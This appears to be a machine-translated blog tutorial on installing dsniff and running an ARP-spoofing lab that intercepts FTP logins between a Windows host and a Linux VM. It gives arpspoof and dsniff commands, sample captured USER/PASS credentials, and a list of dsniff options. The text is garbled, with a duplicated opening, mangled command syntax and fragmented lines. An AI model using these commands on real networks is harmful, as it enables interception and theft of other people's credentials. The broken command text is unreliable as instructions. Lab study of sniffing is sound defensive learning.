There have been many articles about dsniff theory on the Internet. I personally think it is also very rewarding. Here we mainly introduce a small instance of sniffing in linux! One windowns7 host on the operating platform and one linux host installed under vmware, install and configure dsniff and vasftp on the linux host, and then
There have been many articles about dsniff theory on the Internet. I personally think it is also very rewarding. Here we mainly introduce a small instance of sniffing in linux!
One Windows 7 host and one linux host installed under vm ware on the operating platform, install and configure dsniff and vas on the linux hostFtpServer, and then use the two hosts as the platform for practice!
First, install and configure on the linux host (configure the Yum source of the Local Machine, here only compile and install Berkeley_db)
The kits used here are: Dsniff, libnet, libpcap, openssl, postgresql-libs, apr, and Berkeley_db.
[Root @ localhost ~] # Yum-y install libnet
[Root @ localhost ~] # Yum-y install libpcap
[Root @ localhost ~] # Yum-y install postgresql-libs
[Root @ localhost ~] # Yum-y install apr
[Root @ localhost ~] # Yum-y install dsniff
[Root @ localhost ~] # Yum-y install openssl
Download and install Berkeley_db
Download (HTTP): http://download-east.oracle.com/berkeley-db/db-4.8.26.tar.gz
Download (FTP ):
[Root @ localhost ~] # Tar zxvf db-4.8.26.tar.gz
[Root @ localhost ~] #CdDb-4.8.26/build_unix/
[Root @ localhost build_unix] # ../dist/configure -- prefix =/usr --Enable-Compat185 -- enable-cxx & make
[Root @ localhost build_unix] # make docdir =/usr/share/doc/db-4.8.26 install &&Chown-V-R root: root/usr/bin/berkeley_db_svc/usr/bin/db _ */usr/INcLude/db {, _ 185, _ cxx }. h/usr/lib/libdb {{,_ cxx }. a, {, _ cxx, _ java, _ tcl}-4.8. {so, a, la }}/ usr/share/doc/db-4.8.26
Next is the test part.
First, open two virtual windows on the linux Virtual Machine
One of the Windows performs arp spoofing.
[Root @ localhost ~] # Arpspoof-I eth0-t 192.168.1.1 192.168.1.188 (1 is the gateway IP address and 188 is the windows Host IP address)
Another port for sniffing
[Root @ localhost ~] # Dsniff-c-f/etc/dsniff. services
Log on to the vsftp server of the Virtual Machine Linux on the windows host (you can obtain the following sniffing data)
[Root @ localhost ~] # Dsniff-c-f/etc/dsniff. services
Dsniff: listening on peth0
-----------------
10/15/11 03:16:36 tCp192.168.1.188.61983-> 192.168.1.192.21 (ftp)
PASS 721 wyzj
USER anonymous
PASS User @
To sum up, dsniff sniffers are the principle of dual-party spoofing. They cheat two normal data interaction hosts to defraud the data of both sides and collect the data for their own use!
Parameters of dsniff In the last Appendix
-C enables half-duplex tcp streams and allows proper sniffing when arpspoof is used;
-D. Start the debugging mode;
-F load the trigger (that is, password SNIFFING) from the file in the format of/etc/service
Service
Type );
-I use a specific
Network
Interface;
-M uses the dsniff. magic file to try features defined in the magic File
Automatic
Judgment protocol;
-N does not perform host search;
-R: reads the intercepted data from the previously saved sessions.
Data
;
-S can sniff the first byte of the message at most. If the username and password information are included in the subsequent default 1024 byte limit;
-T use the format port/proto = service; to load a trigger set defined by commas;